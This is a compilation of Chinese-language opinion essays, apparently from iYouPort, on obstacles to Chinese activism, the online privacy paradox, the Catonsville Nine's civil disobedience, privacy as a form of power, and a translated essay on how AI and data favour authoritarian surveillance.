仿佛反战本身不存在，对叙利亚多年来肮脏的代理人战争之性质的认识也不需要存在，人们只是希望看到你选边站，并且选的要和他们一样。就如甜豆腐脑咸豆腐脑之争，它是个隐喻而不只是笑话，难道我喜欢不加任何调味品的原味豆腐脑就是值得批判的行为吗？

政治极化、舆论场部落化，虽然这些名词被学界不断地叨念，但它们都没能充分反应这一问题的全部。人们只是在借此掩饰人际梳理的本质，观念冲突其实并没那么重要，当你面对强烈的共同利益需求时。

「图」

「图」

最近五十多天内，twitter有两个运动：#1TweetADay4JA 和 #FreeJulian，呼吁释放 Julian Assange。你最经常能看到的一句流传甚广的动员帖就是：“不论你的政治观点是什么，只要你支持人权，捍卫民主之根基人民的知情权，那么我们就站在一起”。这就能形成最大范围的联合。与此相反，中国的几乎一切舆论运动都存在明显的观点一致性追求，很难基于一个眼前的目的先把更多力量连接起来，其结果往往是由于迅速的分化而失败。

我不想说中国社会与他们的政府具有潜在的同构性，但对一致的高度追求绝非民主社会之特征。必需知道，"那些引起你不快的低效元素恰恰是民主和社区的根基"。有效的民主文化必须包含某种混乱和尴尬的

不期而遇，社区也一样，人们必须能接触到一些他们本心并不想接触的东西，必须能听到并不愿意听到的话题和观点。然而这是个有点尴尬的时代，你需要花点力气、在意识的推动下去主动寻找，去努力，否则稍不留神便会滑入个人中心主义的黑洞。

高度细分的社会是无法联合的。并且，对意识形态队形的追求还会压制你对事实的判断，更糟糕的是，很多时候你需要为此撒谎，因为世上并没有完美无缺永远正确的党派和团体，对于解决具体问题来说，不同的派系各有优势。如果你必需保持对其中某一方的支持，或者干脆说对其他派系的打击，那么肯定需要你回避部分事实，否则难以自圆其说。其结果就是，你变成了谎言的媒介，而不是你捍卫的正义。

所以，下次再遇到假借观念意识形态为理由拒绝联合的人时，你已经知道该如何处理了。

「图」

「图」

2、阶层

中国没有那么“阶层固化”，如果对比英国那种出生决定一生的社会来说，那才叫真的固化。但在英国，除了王室之外，不同阶层之间的差异并不大，除了一些生活习惯上的细节之外，比如中产只是意味着勺子上有花，而吃的东西和底层没什么不同。

然而在中国，阶层之间差异颇大，也因此交流很有难度。不仅是不同阶层之间很难接触到（在互联网上没人知道你的资产如何，除非你拥有比较著名的企业公司，且实名上网，但这并不耽误判断一个人的阶层状况），更有不同阶层之间无法协作这个至关重要的问题。

先说说为什么差异颇大。这或许是每一个经历过运动式“均富”的社会所难以避免的问题：被迫与所有人一样穿“三原色”和回力鞋的历史在中国人的骨子里植入了一种别样的憋屈，所谓的“改开”之后，最先涌现的就是暴发户景观，巨大的金戒指、比拇指还粗的金链子、名牌服饰不剪标签，等等这些如今被人们所嘲讽的炫富行为，其实并没有消失，它们只是变得更为隐晦了，中文社交媒体上那些晒生活的人们不言而喻的情愫，恰恰就是那条金链子所陈述的东西。

是的，他们已经与他们的父辈 – 那代改开暴发户 – 有所不同了，但基本意识本没有太多改变，那就是，“我和你们，那些低阶层的人们，

完全不同”。人们会通过其社交媒体秀生活总结一个人的阶层概况，以决定是否或者在多大程度上与之交往。

最终的结果就是能形成强连接关系的群体基本是处于同一社会地位的人，要么有着类似的学历和名校经历，要么有着几乎一样的社会资源甚至资源结构（本网原始网站被关闭，多年前关于强弱连接关系的系列文章失踪）。这样便造成了社会运动最大基数 – 底层 – 极难获得高等阶层的协助。

对阶层标签的过度重视最直接导致的就是“排异”。就如你所知道的，排斥是自上而下的而不是反过来，但是必需说，高等阶层拥有更多更好的受教育机会，他们所能掌握的知识技能肯定比底层更多，如果联合性存在，不同阶层之间完全可以为了同一利益而合作，完善反抗的多方面资源需求。

在英国时有幸参与过一次反抑郁症歧视的地区社运，最令人印象深刻的是各方面的技术人士和经验丰富的社运资深人士纷纷前来协助，他们完全不同阶层，合作相当融洽，整体进展非常顺利。虽然规模不大，但它就是一个完美社运的模型。然而在中国，仅举一例，如果您稍有印象的话会能记得，“天津大爆炸”事件后的网络舆论倾向，很多人在强调受害者是“中产阶级”，以至于 iyouport 不得不发表了一篇从半学术角度上诠释这一问题的《中产心理和底层心理》，以令声援能摆脱阶层隔膜，进入合力向权力追责的层面（虽然一篇文章的效力太小了。网站没有，可以搜索“自由港＋文章标题” 找到它的痕迹）。

相比下这还不算什么。如今更大的问题不得不重申：当局正在全面调用技术能力来控制社会，然而基数最大的底层政治积极人士对技术普遍生疏，懂技术的人最低是中产，这也是亚洲国家的共同特点（与西方国家相反的特点，在西方国家，技术人士大多是底层）。众所周知在这个国家的富裕阶层之财力来源为何，这就造成了真正拥有对抗当局之能力的这部分人反而不关心政治，没有能力的人由于不懂技术无法保护自己，而纷纷被捕出身未捷。

我们不是在强调阶层的重要性，但当局一直比这个社会走更快且远：事实显示中国当局已经在有意控制黑客 – 这一新精英群体（见下图），权力同样不甚信任阶层的决定性作用，他们期待的只是对这群技术精英的政治思想状态全面把控。

「图」

「图」

「图」

「图」

而与此同时，大部分底层（甚至包括45以上的人）至今尚未理解技术能力在这个时代对反抗来说意味着什么，更谈不上重视。这就造成了无法联合，以及无法互相协助。

作为民主根基的异议对威权国家却毫无用处，那是因为民主依靠不断修正错误不断更新而维系公平正义的原则，异议所能提供的就是对政权的监督和帮助，这是建立在改革可行的基础之上。而威权不可改革，异议无法也根本没有准备去撼动/挑战权力关系，应对威权需要的是反对派。

异议和反对派不是层次差异的问题，而是根本性区别，这些常识是本网一贯强调的，打破不重复常识的基本原则而强调它，恰恰是因为至今仍有很多人不理解这点。

要想成为一个合格的反对派，只有认知是不够的，你还需要更多更充分的技术能力、经验和战略智慧，然而在中国，由于拥有后者的人和拥有前者的人被隔离在不同阶层，以至于很难融合为一个成功的反对派团体。

「图」

「图」

3、不会使用互联网

如上所述，这两个月以来由于参与声援 Julian Assange，获得了别样的感慨。与任何一种声援、与对 Wikileaks 十年多来的遭遇中每一步的围观，都截然不同。原本打算总结一下，现在看起来不需要了，已经有足够多的文章在不断阐述和分析，iyouport 翻译了其中一些关键文章。我们这里只说差异 – 中国式声援和这场声援的差异所在。

首先最明显的就是本文“1”中所提到的去意识形态化的联合，在中国很难做到。很多朋友认为我常挂在嘴边的看轻观念意识形态论“只是源于媒体经历的惯性”，其实不完全是这样。没错，媒体的原则如此，但这一原则之所以存在是因为它能很好地帮助记者更多专注于事实本身，更靠拢公正全面的呈现目标。这对于信息消费者 – 大众 – 来说同样重要。

也就是联合的力量。如果我们现在追求的是一个人权迫害案例的合理解决，不论你是左派还是右派或者自由派，捍卫人权都是底线，也就是说你的意识形态倾向与联合之目的完全无关。就算你的诠释逻辑在我看起来完全惨不忍睹，只要你的结论和我一样，我们就值得联合。在 Julian Assange 的声援中，几乎所有人都是这样做的。

并不是因为支持者群体缺乏力量，正相反，力量非常之大，它是一个跨国群体，囊括多个语种的观点联盟，人们之间并不介意对方是否使用和自己一样的语言，是否和自己一样的的逻辑立场，只要我们的目标一致：你就是我的朋友。

它给人以很大的鼓舞。也是为什么我一直支持更多中国人加入至少围观这场庞大的跨国运动，你能体会到很多在中国体会不到的东西，作为经验颇具价值。

其次就是对互联网之价值的认识。一个众所周知的笑话是：在互联网上，愚蠢比聪明更有人缘。这句话之所以非常正确，是因为太多人用错了互联网。

互联网并不是用来获取智商优越性的舞台 – 浅薄和愚蠢之所以泛滥也正是由于太多人甚至媒体，存在严重的逐臭偏好，他们在下意识推高浅薄愚蠢的知名度。但这不是关键，关键在于这种错误的用法导致互联网真正的价值被遮蔽。人们沉迷在骂仗和嘲讽中，流失了精力。

下图是在 Julian 被断网的次日，全球支持者守夜运动当晚的流量分布（仅 twitter），这就是互联网真正的价值 – 联合。不仅仅是舆论的联合，由此你能清楚的获知，至少在哪些地方可以形成街头抗议，也就是在日前组织的，此案所涉及的国家 – 瑞典、西班牙、英国、美国、澳大利亚 – 所组织的抗议活动的数据参考（见下图 2）

「图」

「图」

我们一直拒绝重复常识，虽然互联网上很多人在这样做，但在我看来那是一种主动的落后。互联网的价值除了广泛的连接能力之外，最突出的就是新和快，以传统出版物无法企及的速度传播最新知识。用互联网来讲常识纯属糟蹋东西。

总之，互联网最大的能力在于动员和连接，而不是个人主义表演。在 #FreeJulian 运动中有一个积极的群体，他们将所有支持者（尤其

是影响力较大的支持者）全部添加，以连接起来，互相促进，推高声量。他们并无所谓这些支持者现居何处、是否有能力组织和参与现实中的街头运动，这是一种颇具感召力的组织技巧。

我们可以不考虑成果，因为此案太过特殊，但是必需承认，其间所呈现的民主社运经验非常值得中国人学习。如果能学到哪怕一半，在中国用已经足够。

4、焦虑

焦虑是一种情绪状态，它就来自于当局常年“维稳”的所谓战略之一：分化打散。以制造不团结为基本目的，通过渗透、公开奖励举报者等方式，以加强人与人之间的不信任。 Novak 说，有中国人告诉他，“任何组织都会被渗透，监视无处不在”。

本网专门分析过这一问题，详见《他们为什么如此猖狂？因为你们互不信任》。事实的确证明过渗透的存在，但并不意味着组织就不可行。

我们早前的文章多次介绍过匿名者组织，那是全球最大的几个跨国黑客组织之一，也是最著名的，因为多次参与国际热点政治事件。他们就是互联网时代的优秀组织模版 – 无中心的、所有人为了同一个基本目标自动聚集在一起所形成的队伍。各尽其能。

互联网时代并不需要有明确中心的组织，人们也不需要真的在一处，技术完全提供了这个便利，于是渗透对这样的联合力量来说并无太大伤害性。因为人们的目标很单一，力量高度集中，任务完成后自动解散。每个人都知道自己为什么而来，渗透是影响不到行动主旨的。

而夸大渗透能力的人很可能正在帮助当局制造恐怖气氛。除非渗透进入了关键的加密群组，基本上没必要过于担心。而最可能造成这种情况的是内部人反水，而不是新人搅水。

上述模式完全值得现实中的反抗借鉴，也是为什么说被渗透焦虑是没有必要的。很可能一些人对组织的过程之理解与此相反，他们更熟悉传统模式，先形成组织，再策划行动。其实并不需要那样。互联网时代的无中心组织只需要更多人掌握最新资讯、具备正义感、以及随时可加入的技术能力。如果你关注过一两位匿名者组织成员就能发现，你的时间线上会出现很多不同的语种，甚至还有日语。这是平日积累的连接关系。

互联网为人们提供了很好的互相学习的机会，中国人如果能打破封闭，尽可能借鉴全球异议的反抗智慧，反驳本文将大有希望。〇

原文

为什么人们对在线隐私如此虚伪？ - iYouPort

为什么

人们什么都知道，但却很难将保护性措施实践到自己身上。是什么在阻碍人们的行动？

「图」

「图」

社会心理学家在几十年前已经知道，态度和行为之间的关系是复杂的，即使不是脆弱的话。例如，尽管您可能会被无处不在的网上跟踪所困扰，但它可能并没有改变您的在线行为。

「图」

「图」

同样，当 Edward Snowden 曝光国家安全局（NSA）惊人的间谍全球内幕后，公众普遍的愤怒和不信任却并没有减少他们对互联网的使用。

- 为什么人们没有主动保护自己《6年，改变了什么？》

实际上，斯诺登的曝光甚至都没有提高社交媒体上更高安全性设置的采用率。

换句话说，即使人们说他们关注在线隐私，他们的关注也可能远远不足以推动数字节制。尽管越来越多的人正在使用VPN、广告拦截器和跟踪拦截器来收回一点丢失的隐私，但这些人在整体上仍然占极少数。

由于您正在阅读本文，因此我们只能假设您至少有点担心自己的在线隐私。但是，真正采取措施的可能性很小，例如 控制他人发送给您的电子邮件、从浏览器中删除Cookie、定期检查计算机中是否存在间谍软件、以及删除浏览器历史记录等等。

最近的研究表明，即使消费者不相信自己的社交媒体数据是安全的，他们也没有计划采取保护性措施或选择退出。

但是，意图通常是后续行为的较弱预测指标。

例如，大多数人说他们宁可减少薪水以减少工作量、或做更多有趣的工作，但实际上很少有人真的这样做了。因此，最大的问题不是人们计划为隐私保护做些什么，而是他们实际上在做什么。

为了解决这个问题，最近对166项研究进行了综合性分析，涉及包括来自34个国家的75,269名参与者，探索了所谓的“隐私悖论”，即：人们对隐私的关注很少会转化为保护性行为的令人困惑的事实。

与以前的研究相反，元分析的结果表明，对隐私更加关注和了解更多的人倾向于使用较少的在线服务、采取更强的安全性设置 、并披露较少的个人信息。

但是，当涉及社交媒体使用时，确实存在明显的隐私悖论，因为即使是表达担忧的个人也表现得很粗心，进行不适当的自我披露，大量公开其数字足迹，并允许广泛使用一系列外部应用程序以访问其数据。

据估计，根据（相当不安全的）默认设置共享了将近40%的 Facebook 内容，并且隐私设置仅在37%的时间内符合用户的期望。

因此，可以说似乎没有多少隐私问题会使社交媒体用户更加谨慎。

隐私悖论的一种可能解释是第三人效应，这表明，即使人们意识到使用社交媒体的潜在风险，他们仍会以某种方式认为这些风险并不适用于自己 —— 仅适用于他人。

这种效应已在从饮酒、吸烟、到无保护性行为等各种与风险相关的活动中被发现。

并不是人们不了解与这些活动相关的风险，也不是说人们一开始就愿意承担这些风险，而是幻想这些风险仅适用于其他人而不适用于自己。

隐私悖论的另一个更明显的解释是简单的风险回报评估。

我们大多数人确实希望在上网时感到安全和受到保护，但是使用免费网站和披露个人信息所带来的 “好处” 被认为远大于风险。

正如科学研究所表明的那样，大多数人都使用社交网络来满足基本的心理需求，例如相处、构建和展示其价值观和身份、以及获得娱乐的需求。

如果让消费者选择为他们使用的免费应用程序和在线服务付费，以换取保留所有个人数据的权利，那么他们可能会拒绝，而宁愿使用其个人数据—人权 来“支付”。

由于人们对隐私的关注似乎并未转化为保护隐私的行为，可以很容易地预见未来，我们在网上所做的一切都将成为我们公众声誉的一部分。

「图」

「图」

上图中这本书在这里下载：https://t.me/iyouport/6823

你的数字足迹已经可以用来推断你"内心最深处的"东西。 2013年对58,000名 Facebook 用户（自愿参加）的一项研究显示，大数据能够可靠地预测性取向、性别、种族、年龄、宗教、政治观点、智力水平、饮酒和吸烟状况、吸毒状况、以及是否与父母分居。

研究人员还能够在某种程度上预测性格特征，例如 性格外向还是内向、是否尽责、是否开放、情绪是否稳定、是否和蔼可亲。

想想看，Uber评分可以用来推断你的喜好或情绪智力、Spotify 和 Netflix 偏好可以推断出你的好奇心和开放性、亚马逊或淘宝浏览历史被用来推断你的冲动和尽责性 ……

甚至你在 Twitter 上说的每一句话、在 Facebook 上点赞的每一个东西、倾向于访问的网站、以及你的声音，都可以转变成相当详细的心理特征，而交易这些数据的潜力绝不局限于此营销世界 —— "监视的目的是操纵"。

毋庸置疑，从黑客入侵，歧视到奥威尔式监视状态，数字分析的泛滥有许多潜在的危险（和道德问题）。公司可以知道的和应该知道的有很大的不同。

正如最近一本有关在线说服心理学的书中所显示的那样，尽管目标数据可能会对购买意愿产生积极影响，但是它可能会带来严重的隐性成本，尤其是那些更具侵入性的做法。

这种代价被称为心理反抗，是指我们在感知到对自己的自由和自治的威胁时所经历的那种厌恶情绪状态。供应商和应用程序将需要限制他们对消费者数据的处理方式，这意味着抵制过度使用数据的诱惑。

小说家 Gabriel García Márquez 也许可以预见到今天这一隐私辩论的核心问题："所有人都拥有三种生活：公共生活、私人生活和秘密生活。"

我们拥有自己的公共生活，就是我们愿意在各种社会环境中与他人共享的生活。我们也有自己的私生活，并且很不情愿放弃这些私生活，希望它不会对世界或那些不应该看到的人充分展现。

最后，还有我们的秘密生活，目前只能在离线状态下找到。实际上，您可能会感到奇怪：真的存在"秘密"生活吗？因为没有离线状态了。〇

Why We're So Hypocritical About Online Privacy

原文

为什么反抗 - iYouPort

为什么

反抗是信仰的最高行为

「图」

「图」

抗议，与支配我们生活的巨大邪恶做斗争—— 一种迅速掠夺全球并驱使人类灭绝的邪恶，剥夺了我们最基本的公民自主和自由，发动了无休止的战争并巩固了寡头的财富精英，我们的抗争，无论多么徒劳，无足轻重，甚至可能出现自我挫败，但是都可以启动向外辐射的道德和精神力量，激励他人，包括那些追随我们的人。

从本质上讲，抗议是一种信仰行为。没有任何东西比这种信仰更能支撑我们。我们反抗不是因为我们会成功，而是因为它是正确的。反抗是信仰的最高行为。

在越南战争期间，1968 年5月17日下午，九名天主教徒，包括两兄弟，激进的牧师菲尔和丹·贝里根，进入了马里兰州卡顿斯维尔的Catonsville，并夺取了兵役登记局的记录。他们将这些记录带到停车场外面的垃圾桶里，并用自制的凝固汽油弹将它们点燃。男人和女人们，其中许多人是或曾经是天主教成员，在篝火旁站立和祈祷，直到他们被捕。

他们不仅抗议战争，而且正如 Dan Berrigan 写的那样，“他们抗议生活中的每一个重大假设。”他们采取了行动，并最终入狱，“其外在精神影响无法估量。“

Catonsville 的抗议活动引发了一系列抗议，其中文件被焚烧、被盗或被摧毁。仅在1970年头八个月里，在全国各地的兵役登记局就记录到了271起“反叛事件”。

公民不服从的本质、力量和代价，以及对抗邪恶是最高灵性形式的理解，是 Dan Berrigan 写的 “Catonsville 九君子的审判”这一剧本的主

题。 Transport Group 将于1月16日至2月23日在纽约市的 Abrons 艺术中心展出该剧。

Catonsville 九君子利用法庭起诉如今无所不能的战争机器，正如贝里根所写的那样，“已经包括了为其服务的法庭程序”。他指出，法院、总统和国会已经钙化并转向石化，“‘三权分立’正在被证明名实不符 ……“，他写道。

“因为你不能在盲人的王国设立法院，谴责那些能看见的人；法官会将那些人的眼睛挖出来并称之为‘治愈’”，Berrigan 继续说道。

Catonsville 九君子拒绝证明自己的清白—他们主动承认自己犯下了被起诉的狭隘罪名—— 但是要让这个国家受到审判。他们认为，要遵守更高的法律，他们必须对抗现有的法律。违法是一种良心的驱动。

“在一个动态的社会面前，律师、法律、法院和刑事制度几乎是不动的，这使得公民不服从成为一种民事的责任。法律越来越多地与权力形式保持一致，其存在越来越受到质疑。.....因此，如果他们遵守这样的法律，将被迫违背上帝或违反人道法则。“

“法院，直到最高法院本身，都不愿意—特别是在战争时期—认真考虑战争本身的道德和法律问题，”Berrigan 写道。“因此，我们认为，文明的[人们]必须设法使用法庭，以便就我们是谁以及我们的目标是什么，让公众了解”。

Catonsville 九君子并不关心自己的命运。“事实上，我们必须在行动之前获得某种个人解放，”Berrigan 写道，“相比监狱的事实，这是一种精神上的脱离。” 他们没有想到奇迹，他们并没有受到消费者文化特征那种情绪过山车的欺骗。正如河内的越南人告诉 Dan Berrigan 的那样，耐心“是一种革命的美德。” Berrigan 说，公民不服从的观点并不是说人们必须同意甚至跟随，但正是这种行动促使更广泛的人群“加深了意识”。

他们说，自由主义者只处理小的道德碎片，并在大多数情况下使用他们的狭隘原因，不是为了实现系统性改变，而是为了自我奉承。自由主义者经常将战争或社会不公正视为孤立的邪恶，设想其终结将恢复和谐。

但是，他们知道每场战争都是其他战争的症状。越南到老挝到泰国，到世界各地到危地马拉，以及他自己内心的所有战争。

Phil Berrigan（1923–2002）是一位步兵军官，他在第二次世界大战中曾在欧洲作战，是Catonsville 九君子的推动力。 1967年10月，他与其他三名抗议者一起闯入巴尔的摩海关大楼的办公室，将血液泼在文件上……

抗议不能被动，它必须是主动的。今天距离 Catonsville 已经50年了。然而，对战争机器的非暴力宗教抗议的坚定鼓声仍在继续。

Nothing less than this faith will sustain us. We resist not because we will succeed, but because it is right. Resistance is the supreme act of faith. The activists entered the base on April 4, 2018, the 50th anniversary of the assassination of Dr. Martin Luther King Jr., who thundered against the “triple evils of militarism, racism and materialism.”

原文

为什么当权者拼命要抢走你的隐私？ - iYouPort

为什么互联网自由-Resist

隐私使个人和集体都能够重新掌握权力动态，使其远离权威并重新获得力量

在一个信息关系到生命安危的世界里，政府将信息作为一种专制的控制工具，而信息资本主义的守门人—Facebook、谷歌、亚马逊和苹果等等—已经变得过度盈利，隐私使个人和集体都能够重新掌握权力动态，使其远离权威并重新获得力量。

当信息被当权者用作控制工具时，隐私权所提供的保护是至关重要的。20世纪30年代纳粹德国迈向大屠杀的第一步就是：对整个社会人口进行专制编目和剖析，这是由 IBM 提供的开创性信息记录系统实现的。在集中营囚犯的手臂上纹上 IBM 身份证号码—— 想想如今中国的社会信用评分、印度的全民生物识别数据库……？

与此同时，在21世纪，Facebook、谷歌和其他主要互联网平台将自己定位为公共通信网络，但是与此同时它们像当年的希特勒一样编目和描述我们所有人的内心思想和最深切的秘密愿望，直接促进了广泛的政府监视。不信吗？请见这篇跟踪演示，顺便说它只是数字极权的万分之一：《浏览历史记录曝光你的内心全景图》

东西方的政府都在利用这些网络来消除我们的隐私，监视和拦截我们的信息、图片和视频，以及建立庞大的数据库，例如每个互联网用户的个人资料。

英国警方正在将抓人的工作外包给数据驱动的人工智能（AI），使用实时面部识别技术，监控和跟踪所有人，以及机器学习算法来预测人们是否可能犯罪。新闻不再能说真话、民主抗议被提前维稳、寒蝉效应遍地、合法的社区活动也被抑制了。

“人权法”以赋予普通人隐私权利的形式赋予了公民权，这些权利构成了一个至关重要的基础，可以指导我们完成当前的技术和信息革命，

因为我们正在努力研究技术的潜力，并努力确保我们创造的技术有益于人类，并且，最重要的是，不被那些掌权者滥用以压迫我们。

Privacy is about power. Those in power invade our privacy and use information as a tool of control. The right to privacy gives power to individuals to protect against such oppression.

原文

为什么技术有利于暴政？ —— 一场你必须参与的政治斗争 - iyouport

为什么技术暴政

【2018年11月17日存档】在古代，土地是最重要的资产，因此政治就是控制土地的斗争。在现代，机器和工厂变得比土地更重要，因此，政治斗争的重点是控制这些重要的生产方式。而在21世纪，数据是比土地和机械都更为重要的资产，因此，政治将是控制数据流动的斗争……

支持者经常用这样的话来鼓励自己，说“民主是为满足以人为本、是不可避免的”。事实上民主没有什么“不可避免”的。尽管民主国家在过去一个世纪或更长时间内取得了所有成功，但如果放在整个历史长河中，它们仍然只是昙花一现。君主制、寡头政治和其他形式的专制统治，依旧是人类治理的常见模式。

自由民主国家的出现与自由和平等的理想联系在一起，这种理想似乎是不言而喻的，是不可逆转的。但是，这些理想比我们所认为的要脆弱得多。他们在20世纪的成功取决于可能被证明是短暂的独特技术条件。

在21世纪的第二个十年，自由主义开始衰落。关于自由民主是否真的能为中产阶级提供能力的怀疑越来越大; 政治变得更加部落化; 在越来越多的国家，其领导人表现出对蛊惑人心手段和专制的偏爱。这种政治转变的原因很复杂，但它们似乎与当前的技术发展紧密交织在一起。

支持民主的技术正在发生变化，尤其是随着所谓人工智能的发展，它可能会进一步发生变化。

信息技术正在继续飞跃; 生物技术开始为我们的内心生活提供一扇窗户—— 我们的情感、思想和选择。信息技术和生物技术将共同造成人类社会前所未有的动荡，侵蚀人类的机构，并可能颠覆人类的欲望。在这种情况下，自由民主和自由市场经济可能会变得“过时”。

普通人可能不会详细了解所谓的人工智能和生物技术，但他们可以感觉到自己正在经历什么样的未来。1938 年，普通人在苏联、德国或美国的状况可能是非常严峻的，但他经常被告知他是世界上最重要的，他是未来（当然，他必须是一个“普通人”，而不是一个犹太人或一个女人。是的，那个时代的歧视问题比如今更严重）。他看着宣传海报—通常以英雄姿态描绘煤矿工人和钢铁工人—并看到自己出现在那里：“我在那张海报上！我是未来的英雄！“

在 2018 年，普通人感到自己越来越无关紧要。许多神秘的术语在 ted Talks、政府智囊团和高科技会议上兴奋起来—— 全球化、区块链、基因工程、人工智能、机器学习—— 普通人，无论男女，都可能怀疑这些术语完全与他们自己有关。

在 20 世纪，群众反抗剥削，并试图将其在经济中的重要作用转化为政治权利；现在，群众担心的是被无关紧要，他们疯狂地想要利用自己仅存的政治权利，但为时已晚。也许在 21 世纪，民粹主义的起义不再是针对一个剥削人民的经济精英，而是针对一个不再需要他们的经济精英。这可能是一场失败的战斗。

信息技术和生物技术的革命仍处于起步阶段，它们对当前自由主义危机的负责程度值得商榷。伯明翰、伊斯坦布尔、圣彼得堡和孟买的大多数人，只是敏锐地意识到了人工智能的兴起及其对生活的潜在影响。然而，毫无疑问，现在正在积聚动力的技术革命将在未来几十年内面对人类所面临的最艰难的考验。

一个新的无用的阶级？

让我们从工作和收入开始，因为无论自由民主的哲学诉求如何，它都在很大程度上得益于其实际优势：在政治和经济学中，自由主义的分散决策方法允许自由民主国家超越其他国家，为人民带来越来越多的富裕。

自由主义通过向每个人承诺更大的一块馅饼来实现和解。随着不断增大的馅饼，这是可能的。馅饼可能会继续增长。然而，经济增长可能无法解决如今由技术破坏所造成的社会问题，因为这种增长恰恰是越来越多地取决于迅速膨胀的颠覆性技术发明。

当然，人们对将自己赶出就业市场的恐惧并不是什么新鲜事，过去这种担心被证明是没有根据的。但是，人工智能与旧机器可不同。过去，机器主要以手工技能方面与人类竞争；现在，他们开始在认知技能方面与我们竞争。还有任何第三种技能吗？如何让人类始终拥有优

势？

至少再过几十年，随着计算机接管更多的常规认知工作，人类的新创造性工作也将继续出现。这些新工作中的许多可能取决于合作而不是人与人之间的竞争。人工智能团队可能不仅对人类有优势，而且对自己的计算机也有优势。

然而，大多数新工作可能需要高水平的专业知识和独创性，因此可能无法解决失业的非熟练劳动者或只能以极低工资就业的工人的问题。此外，随着人工智能水平不断提高，即使是需要高智商和创造力的工作也可能会逐渐消失。国际象棋世界是事物可能走向何方的一个例子。在 IBM 的计算机 Deep Blue 在 1997 年击败国际象棋高手加里卡斯帕罗夫之后的几年里，人类象棋选手仍然蓬勃发展; AI 被用来训练人类神童，由人类和计算机组成的团队被证明更具优势。

然而近年来，计算机已经变得如此擅长下棋，以至于他们的人类合作者已经失去了价值，并且可能很快变得完全无关紧要。2017 年12月6日，Google 的 AlphaZero 计划击败了 Stockfish 8 计划，实现了另一个重要的里程碑。2016 年，Stockfish 8 赢得了世界计算机国际象棋冠军。它可以获得数百年来人类在国际象棋方面积累的经验，以及数十年的计算机经验。

相比之下，AlphaZero 没有被人类创造者教授任何国际象棋策略，相反，它使用最新的机器学习原则通过对抗自身来教会自己国际象棋。由于没有从任何人类身上学到任何东西，因此它的许多获胜动作和策略似乎都是人类所不具备的。它们可以被描述为创意，如果不是彻头彻尾的天才的话。

你能猜到 AlphaZero 从头开始学习国际象棋、准备与 Stockfish 8 的比赛，并发展其天才本能，花了多长时间吗？四个小时！

要知道几个世纪以来，国际象棋被认为是人类智慧的最高荣耀之一。AlphaZero 在四小时内就从完全无知到创造性掌握，而且没有任何人类指南的帮助。

AlphaZero 并不是唯一富有想象力的软件。今天在国际象棋锦标赛中捉骗子的方法之一就是监控玩家展示的原创性水平。如果他们发挥了特别创造性的举动，评委们通常就会怀疑它不可能是人类的举动，而是一台机器。至少在国际象棋中，创造力已经被认为是计算机而不是人类的商标了！

今天在国际象棋中人类 AI 团队发生的事可能很快就会发生在警察部门、医学界、银行和许多其他领域的人工智能团队中。

更重要的是，AI 享有独特的非人类能力，这使人工智能与人类工作者之间的差异变得更大，而不仅仅是程度。**AI** 拥有的两个特别重要的非人类能力是连通性和可更新性。

例如，许多驾驶员不熟悉道路上所有不断变化的交通规则，他们经常违反这些规定。此外，由于每个驾驶员都是一个单一的实体，当两辆车接近同一个交叉路口时，驾驶员有时会误会彼此的意图并因此发生碰撞。相比之下，自动驾驶汽车将了解所有交通规则，并且不会故意违反规则，并且它们都可以相互连接，能更清楚彼此的意图。当两个这样的车辆接近同一个交叉点时，它们实际上并不是两个独立的实体，而是单个算法的一部分。

同样，世界卫生组织可以确定一种新的疾病，或者一个实验室可以生产一种新药，但是他们不能立即更新世界上所有人类医生。然而，即使你在全世界拥有数十亿的 AI 医生—每个 AI 都在监测一个人类的健康状况—你仍然可以在瞬间更新他们所有，并且它们之间都可以就最新的发现相互沟通。连接和可更新性的这些潜在优势非常巨大，至少在某些工作中，用计算机替换所有人类可能是有意义的，即使一些人类医生仍然比机器做得更好。

> 可能使数十亿人类在经济上变得无关紧要的相同技术
> 也同时使人类更容易被监控

所有这些都导致了一个非常重要的结论：自动化革命不会包含单一的分水岭事件，比如之后就业市场将进入一些新的均衡。相反，它将是一连串更大的破坏。旧工作将会消失，新工作岗位将会出现，但新工作岗位也将迅速改变并消失。人们需要重新训练并重塑自己，不仅仅是一次，而是多次。

正如 20 世纪政府为年轻人建立了大规模的教育体系，在 21 世纪，他们需要为成年人建立大规模的“再教育”制度。但这真的够吗？改变始终是压力，21 世纪初的繁忙世界已经产生了压力的全球性流行。随着工作波动性的增加，人们真的能够应对吗？到了 2050 年，可能会出现一个无用的阶级，他们不仅是因为缺乏工作或缺乏相关的教育，而且还缺乏足够的精神耐力来继续学习新技能。

数字独裁统治的兴起

由于许多人类失去了经济价值，他们也很可能因此失去政治权利。可能使数十亿人类在经济上变得无关紧要的相同技术也同时使人类更容易被监控。

AI 吓坏了很多人，因为他们不相信它会保持顺从。科幻小说充分发挥了计算机或机器人发展意识的可能性—此后不久将尝试杀死所有人类。但没有特别的理由相信 AI 会随着它变得更加智能而发展出意识。一些人认为我们应该反对恐惧 AI，因为它可能总是服从它的人类主人，永远不会反叛。人工智能是一种工具和武器，不像人类开发的任何其他武器; 它几乎肯定会让已经强大的人进一步巩固他们的权力。指出这点的人就是最有可能获得权力的人类。

考虑监视。世界上许多国家，包括很多民主国家，正忙于建立前所未有的监视系统。例如，以色列，就是监视技术领域的领导者，并在被占领的西岸创建了一个全面监视制度的工作原型。

今天，每当巴勒斯坦人打电话、在 Facebook 上发布内容、或从一个城市到另一个城市旅行时，他们很可能就会受到以色列的麦克风、相机、无人机或间谍软件的监控。

算法分析收集的数据，帮助以色列安全部队查明并消除他们认为是“潜在威胁”的任何东西。巴勒斯坦人可以管理西岸的一些城镇和村庄，但是以色列人掌控着天空、电视广播和网络空间。因此，要想有效地控制居住在约旦河西岸的大约 250 万巴勒斯坦人，所需要的以色列士兵可以很少。

- 延伸阅读：在这里看到全球监视审查最全面的报告《数字威权主义的起: 灾年之畔》

在 2017 年10月的一次事件中，一名巴勒斯坦劳工在他的私人 Facebook 账户上张贴了他自己在工作场所的照片，上面有一台推土机，并写着：“早上好！”

然而，Facebook 翻译算法在音译阿拉伯字母时出现了一个极其严重的“小错误”。算法将这些字母识别为 Ydbachhum（意思是“伤害他们”），而不是 Ysabechhum（意思是“早上好”）。

以色列安全部队怀疑这名男子可能是一名打算使用推土机将人送过来的“恐怖分子”，并迅速逮捕了他。在他们意识到算法出错之后，他们释放了他。即便如此，被认为“违规”的 Facebook 帖子也被删除了——是的，你永远不会因为小心翼翼而避免灾祸。

并且，要知道，巴勒斯坦人今天在西岸所经历的事可能只是数十亿人类最终将在全球经历的灾难的一个原始预览版。

